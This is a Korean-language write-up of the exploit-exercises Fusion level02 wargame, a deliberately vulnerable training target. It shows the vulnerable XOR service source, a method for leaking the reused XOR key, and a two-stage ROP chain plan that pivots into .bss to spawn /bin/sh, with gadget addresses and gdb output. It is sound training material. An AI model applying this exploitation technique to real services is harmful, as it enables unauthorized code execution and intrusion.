[exploit-exercises] fusion level02
[ fusion level02 ]
1#include "../common/common.c" 2 3#define XORSZ 32 4 5void cipher(unsigned char *blah, size_t len) 6{ 7 static int keyed; 8 static unsigned int keybuf[XORSZ]; 9 10 int blocks; 11 unsigned int *blahi, j; 12 13 if(keyed == 0) { 14 int fd; 15 fd = open("/dev/urandom", O_RDONLY); 16 if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE); 17 close(fd); 18 keyed = 1; 19 } 20 21 blahi = (unsigned int *)(blah); 22 blocks = (len / 4); 23 if(len & 3) blocks += 1; 24 25 for(j = 0; j < blocks; j++) { 26 blahi[j] ^= keybuf[j % XORSZ]; 27 } 28} 29 30void encrypt_file() 31{ 32 // http://thedailywtf.com/Articles/Extensible-XML.aspx 33 // maybe make bigger for inevitable xml-in-xml-in-xml ? 34 unsigned char buffer[32 * 4096]; 35 36 unsigned char op; 37 size_t sz; 38 int loop; 39 40 printf("[-- Enterprise configuration file encryption service --]\n"); 41 42 loop = 1; 43 while(loop) { 44 nread(0, &op, sizeof(op)); 45 switch(op) { 46 case 'E': 47 nread(0, &sz, sizeof(sz)); 48 nread(0, buffer, sz); 49 cipher(buffer, sz); 50 printf("[-- encryption complete. please mention " 51 "474bd3ad-c65b-47ab-b041-602047ab8792 to support " 52 "staff to retrieve your file --]\n"); 53 nwrite(1, &sz, sizeof(sz)); 54 nwrite(1, buffer, sz); 55 break; 56 case 'Q': 57 loop = 0; 58 break; 59 default: 60 exit(EXIT_FAILURE); 61 } 62 } 63 64} 65 66int main(int argc, char **argv, char **envp) 67{ 68 int fd; 69 char *p; 70 71 background_process(NAME, UID, GID); 72 fd = serve_forever(PORT); 73 set_io(fd); 74 75 encrypt_file(); 76}
Non-Executable stack | Yes |
Non-Executable heap | Yes |
Address Space Layout Randomisation | Yes |
exploit 환경은 ASLR, NX가 존재한다. 따라서 ROP를 이용해서 exploit을 작성해야 한다.
일단 소스코드를 분석해보자.
프로그램은 암호화해서 출력해주는 아래와 같은 function calls로 루프를 반복하고 있다.
nread(option), nread(size), nread(data), cipher, write(size), write(data)
여기서 3번째 nread에서 buffer[32*4096]에 입력을 받는데 입력 사이즈를 2번째 nread에서 결정한다. 따라서 해당 지점에서 overflow를 일으킬 수 있게된다. 여기서 한가지 신경써줘야할 부분이 있는데 cipher함수 부분에서 입력받은 data를 암호화 한다는 것이다. 즉 payload를 입력하면 암호화되서 제대로 동작시킬 수 없게된다.
하지만 cipher함수를 보면 랜덤하게 키를 가져오는 부분은 static keyed로 인하여 위의 루프 중에 한번 밖에 수행되지 않는 것을 볼 수 있다. 따라서 \x00을 보내서 간단하게 xor 키를 가져올 수 있다.
그럼 payoad를 구성하고 뽑아온 xor 키를 이용해서 payload를 다시 인코딩시켜 주면되겠다.
[ payload 작성 ]
스택 구조 => | buf (32*4096) | dummy | ebp | ret |
overflow 후 => | buf (32*4096) | dummy | &.bss | &recv | &(leave-ret) | fd(0) | &.bss | rsize |
&.bss(custom stack) => | dummy(next ebp) | &execve | dummy(next ret) | &"/bin/sh" | &(&"/bin/sh") | &NULL | &"/bin/sh" | NULL | "/bin/sh" |
* stage2로 나눠서 고정된 주소의 custom stack을 사용하는 이유는 execve 인자 값으로 와야할 "/bin/sh" 등의 문자열의 주소를 알아야 하기 때문이다. (fake ebp를 사용하여 custom stack 이용)
ref) execve
char *str[2];
str[0] = "/bin/sh";
str[1] = NULL;
execve(str[0], str, NULL);
root@fusion:/opt/ROPgadget-v3.3# ./ROPgadget -file ../level02 -g -asm "leave ; ret"
Gadgets information
============================================================
0x08048b41: "\xc9\xc3 <==> leave ; ret"
0x08048b83: "\xc9\xc3 <==> leave ; ret"
....
[*] dummy값 크기를 구하기 위해서 디버깅
(gdb) set follow-fork-mode child
(gdb) disass encrypt_file
Dump of assembler code for function encrypt_file:
0x080497f7 <+0>: push %ebp
0x08049897 <+160>: mov %eax,0x4(%esp)
0x0804989b <+164>: lea -0x2000c(%ebp),%eax
0x080498a1 <+170>: mov %eax,(%esp)
0x080498a4 <+173>: call 0x8049735 <cipher>
0x080498a9 <+178>: movl $0x8049e40,(%esp)
(gdb) b *encrypt_file+173
Breakpoint 1 at 0x80498a4: file level02/level02.c, line 49.
(gdb) c
Continuing.
[New process 1844]
[Switching to process 1844]
Breakpoint 1, 0x080498a4 in encrypt_file () at level02/level02.c:49
49 level02/level02.c: No such file or directory.
in level02/level02.c
(gdb) info reg eax
eax 0xbfecaa7c -1075008900
(gdb) x/40x 0xbfecaa7c + 131072
0xbfeeaa7c: 0x00000001 0xb7897ff4 0x00000000 0xbfeeaab8
0xbfeeaa8c: 0x0804995c 0x00000004 0x00004e22 0x00004e22
0xbfeeaa9c: 0xb7898324 0xb7897ff4 0xb7752c55 0x08049969
각각 : dummy(12byte) + ebp + ret
스택 구조 => | buf (32*4096) | dummy(12) | ebp | ret |
overflow 후 => | buf (32*4096) | dummy(12) | &.bss | &recv | &(leave-ret) | fd(0) | &.bss | rsize |
&.bss(custom stack) => | dummy(next ebp) | &execve | dummy(next ret) | &"/bin/sh" | &(&"/bin/sh") | &NULL | &"/bin/sh" | NULL | "/bin/sh" |
필요한 주소값들을 구한 후 payload에 넣어준다.
read_plt : 0x8048860
leave-ret : 0x08048b41
&.bss : 0x0804B480